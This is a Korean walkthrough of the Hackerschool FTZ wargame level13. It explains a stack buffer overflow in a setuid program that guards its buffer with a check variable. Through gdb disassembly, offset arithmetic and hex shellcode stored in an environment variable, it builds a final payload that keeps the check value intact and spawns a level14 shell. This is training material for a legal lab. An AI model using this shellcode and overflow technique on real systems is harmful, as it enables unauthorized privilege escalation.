ID : level13
PW : have no clue
level13에 접속합니다.
[level13@ftz level13]$ ls -al
total 96
drwxr-xr-x 4 root level13 4096 Mar 19 2003 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rwsr-x--- 1 level14 level13 13953 Mar 8 2003 attackme
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root level13 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root level13 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root level13 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root level13 400 Jan 25 1999 .cshrc
-rw-r--r-- 1 root level13 4742 Jan 25 1999 .emacs
-r--r--r-- 1 root level13 319 Jan 25 1999 .gtkrc
-rw-r--r-- 1 root level13 100 Jan 25 1999 .gvimrc
-rw-r----- 1 root level13 258 Mar 8 2003 hint
-rw-r--r-- 1 root level13 226 Jan 25 1999 .muttrc
-rw-r--r-- 1 root level13 367 Jan 25 1999 .profile
drwxr-xr-x 2 root level13 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level13 4096 Jul 4 12:59 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root level13 4145 Jan 25 1999 .vimrc
-rw-r--r-- 1 root level13 245 Jan 25 1999 .Xdefaults
힌트를 읽어봅시다.
[level13@ftz level13]$ cat hint
#include
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
취약한 strcpy 함수가 보입니다.
하지만 main함수가 끝나기 전에 i변수의 값이 0x1234567이 아니면 프로그램을 강제종료시킵니다.
i변수는 입력받는 buf변수보다 높은 주소에 위치하고 있기 때문에 RET까지 아무 값이나 채워넣게 되면 i변수의 값이 바뀌면서 프로그램이 종료됩니다.
입력을 받을 때 i변수가 어디에 위치하고 있는지 알 수 있다면 간단히 우회할 수 있는 문제입니다.
gdb로 분석하면서 알아봅시다.
[level13@ftz level13]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>: push ebp
0x080484a1 <main+1>: mov ebp,esp
0x080484a3 <main+3>: sub esp,0x418
0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567
0x080484b0 <main+16>: sub esp,0x8
0x080484b3 <main+19>: push 0xc16
0x080484b8 <main+24>: push 0xc16
0x080484bd <main+29>: call 0x8048370 <setreuid>
0x080484c2 <main+34>: add esp,0x10
0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
0x080484cb <main+43>: sub esp,0x8
0x080484ce <main+46>: mov eax,DWORD PTR [ebp+12]
0x080484d1 <main+49>: add eax,0x4
0x080484d4 <main+52>: push DWORD PTR [eax]
0x080484d6 <main+54>: lea eax,[ebp-1048]
0x080484dc <main+60>: push eax
0x080484dd <main+61>: call 0x8048390 <strcpy>
0x080484e2 <main+66>: add esp,0x10
0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567
0x080484ec <main+76>: je 0x804850d <main+109>
0x080484ee <main+78>: sub esp,0xc
0x080484f1 <main+81>: push 0x80485a0
0x080484f6 <main+86>: call 0x8048360 <printf>
0x080484fb <main+91>: add esp,0x10
0x080484fe <main+94>: sub esp,0x8
0x08048501 <main+97>: push 0xb
0x08048503 <main+99>: push 0x0
0x08048505 <main+101>: call 0x8048380 <kill>
0x0804850a <main+106>: add esp,0x10
0x0804850d <main+109>: leave
0x0804850e <main+110>: ret
0x0804850f <main+111>: nop
End of assembler dump.
main+9 : ebp-12 공간에 0x1234567(값)를 복사합니다.
main+54 : buf배열의 시작주소를 알 수 있습니다. -> ebp-1048
main+69 : ebp-12 공간과 0x1234567의 값이 같은지 확인합니다.
main+76 : 두 값이 같으면 점프(je)
*buf와 i의 거리차이 : 1036byte
간단하게 메모리 구조를 생각해봅시다.
=> buf의 시작주소부터 1036byte + 0x1234567(4byte) + 8byte + SFP(4byte) + RET
먼저, 앞선 문제처럼 환경변수에 쉘코드를 올려줍니다.
[level13@ftz level13]$ export env=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
[level13@ftz level13]$ export
declare -x BASH_ENV="/home/level13/.bashrc"
declare -x G_BROKEN_FILENAMES="1"
declare -x HISTSIZE="1000"
declare -x HOME="/home/level13"
declare -x HOSTNAME="ftz.hackerschool.org"
declare -x INPUTRC="/etc/inputrc"
declare -x LANG="en_US.UTF-8"
declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s"
declare -x LOGNAME="level13"
declare -x LS_COLORS="no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:"
declare -x MAIL="/var/spool/mail/level13"
declare -x OLDPWD
declare -x PATH="/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level13/bin"
declare -x PS1="[\\u@\\h \\W]\$ "
declare -x PWD="/home/level13"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="192.168.10.1 9212 22"
declare -x SSH_CONNECTION="192.168.10.1 9212 192.168.10.244 22"
declare -x SSH_TTY="/dev/pts/2"
declare -x TERM="xterm"
declare -x USER="level13"
declare -x env="1육1??횋?육F?1픐h//shh/bin??S??째
?1육?"
바아로~ 코딩을 통해 주소를 알아봅시다.
[level13@ftz tmp]$ vi env.c
#include
int main(){
printf("%p\n",getenv("env"));
return 0;
}
[level13@ftz tmp]$ gcc -o env env.c
[level13@ftz tmp]$ ls
env env.c
[level13@ftz tmp]$ ./env
0xbfffff3f
환경변수 쉘코드 주소 : 0xbfffff3f
흐름을 정리해보면,
=> A * 1036 + 0x1234567 + B * 12 + 0xbfffff3f
인자를 주소로 넘겨줄 때, 리틀엔디안 형태로 보내줘야 하기 때문에 1바이트씩 뒤에서 부터 입력해줍니다.
* 최종적인 페이로드
=> "A" * 1036 + "\x67\x45\x23\x01" + B * 12 + "\x3f\xff\xff\xbf"
* 이때 인자는 프로그램이 시작하면서 받기 때문에 ./attackme `python 'print "A"'` 형식으로 실행합니다.
[level13@ftz level13]$ ./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"B"*12+"\x3f\xff\xff\xbf"'`
sh-2.05b$ sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05b$ my-pass
TERM environment variable not set.
Level14 Password is
★ clear ★